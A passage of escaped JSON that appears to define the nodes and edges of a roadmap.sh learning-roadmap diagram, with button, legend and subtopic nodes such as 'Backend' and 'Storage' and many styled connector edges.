\"x\": 66.4283362607531,\n        \"y\": 2198.3923285889578\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 118,\n      \"height\": 49,\n      \"id\": \"gC8lsIdYLRzo3HzwVqtm1\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -279.5716637392469,\n        \"y\": 2198.3923285889578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -279.5716637392469,\n        \"y\": 2198.3923285889578\n      },\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -56.77465650607928,\n        \"y\": -174.98400415396299\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 141,\n      \"positionAbsolute\": {\n        \"x\": -56.77465650607928,\n        \"y\": -174.98400415396299\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 141\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 141\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -46.77465650607928,\n        \"y\": -95.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -46.77465650607928,\n        \"y\": -95.8160596822612\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aNrxRf79rgvvqVB2fbtV4\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -789.460009679177,\n        \"y\": -174.98400415396299\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n            \"color\": \"#0433ff\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n            \"label\": \"Alternative Option / Pick this or Purple\",\n            \"color\": \"#4f7a28\"\n          },\n          {\n            \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n            \"label\": \"Order in roadmap not strict / Learn anytime\",\n            \"color\": \"#aaaaaa\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 400,\n      \"height\": 129,\n      \"positionAbsolute\": {\n        \"x\": -789.460009679177,\n        \"y\": -174.98400415396299\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 400,\n        \"height\": 129\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 400,\n        \"height\": 129\n      }\n    },\n    {\n      \"id\": \"ecT4W5z8Vq9pXjnuhMdpl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 119.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Why it matters?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234\n      },\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 119.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zvUCR0KeigEi9beqFpwny\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -423.1381872719934,\n        \"y\": 168.4007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -423.1381872719934,\n        \"y\": 168.4007482223489\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Atv-4Q7edtvfySs_XhgEq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqz2-Atv-4Q7edtvfySs_XhgEqy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9z0Fqn1qqN8eo6s7_kwcb\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqz2-9z0Fqn1qqN8eo6s7_kwcby2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WD2JH4X4tEE4J0W0XFQ_4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqz2-WD2JH4X4tEE4J0W0XFQ_4y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"edO8iEehsZtYavlsEKhOy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqy2-edO8iEehsZtYavlsEKhOyz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"H9jvIlxX6P-C_cgPfZop4\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqy2-H9jvIlxX6P-C_cgPfZop4z2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Nc9AH6L7EqeQxh0m6Hddz\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqy2-ecT4W5z8Vq9pXjnuhMdplz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k5lpqM1IIUSgtyUcR4t7u\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-k5lpqM1IIUSgtyUcR4t7ux2-MvpHHpbS-EksUfuOKILOqw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"B7niNXMOTbHn_1ixKQ8ri\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0y2-B7niNXMOTbHn_1ixKQ8riz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"E9HR_voxQ2a2tvWUuva_p\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0y2-E9HR_voxQ2a2tvWUuva_pz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"L08v-78UsEhcg-mZtMVuk\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0y2-L08v-78UsEhcg-mZtMVukz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"s1QqQc0We5yQaNF3Ogt4k\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0y2-s1QqQc0We5yQaNF3Ogt4kz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FSThY0R1OAZCIL98W3AMj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0y2-FSThY0R1OAZCIL98W3AMjz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MvpHHpbS-EksUfuOKILOqx2-bA4V_9AbV3uQi3qrtLWk0w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"e_I-4Q6_qIW09Hcn-pgKm\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0z2-e_I-4Q6_qIW09Hcn-pgKmy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_BkpK9qgp9up8nXNH7q4m\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0z2-_BkpK9qgp9up8nXNH7q4my2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nNPa6jKRUaitmHwBip_LE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0z2-nNPa6jKRUaitmHwBip_LEy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JbgBwG6KmeTdyle9U6WAv\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sK8G-41D3EfYNSLFJ3XYfz2-JbgBwG6KmeTdyle9U6WAvy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"omQOhNfMO09pBc7oy76Wo\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sK8G-41D3EfYNSLFJ3XYfz2-omQOhNfMO09pBc7oy76Woy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CzfsAQIk3zIsDaDAorG9K\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sK8G-41D3EfYNSLFJ3XYfz2-CzfsAQIk3zIsDaDAorG9Ky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"BV6lEwCAKaYxSPWD0LV_d\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-sK8G-41D3EfYNSLFJ3XYfx2-KRtEN0845lV5e85SOi6oZw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sK8G-41D3EfYNSLFJ3XYf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-bA4V_9AbV3uQi3qrtLWk0x2-sK8G-41D3EfYNSLFJ3XYfw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BV6lEwCAKaYxSPWD0LV_d\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tNbcSfwOUHNtk3yg8gJno\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KRtEN0845lV5e85SOi6oZz2-tNbcSfwOUHNtk3yg8gJnoy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"snQA5_4H2dDkT1pENgaYD\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UOF7Ep97i1l3Own6YEWlq\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9y2-UOF7Ep97i1l3Own6YEWlqz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 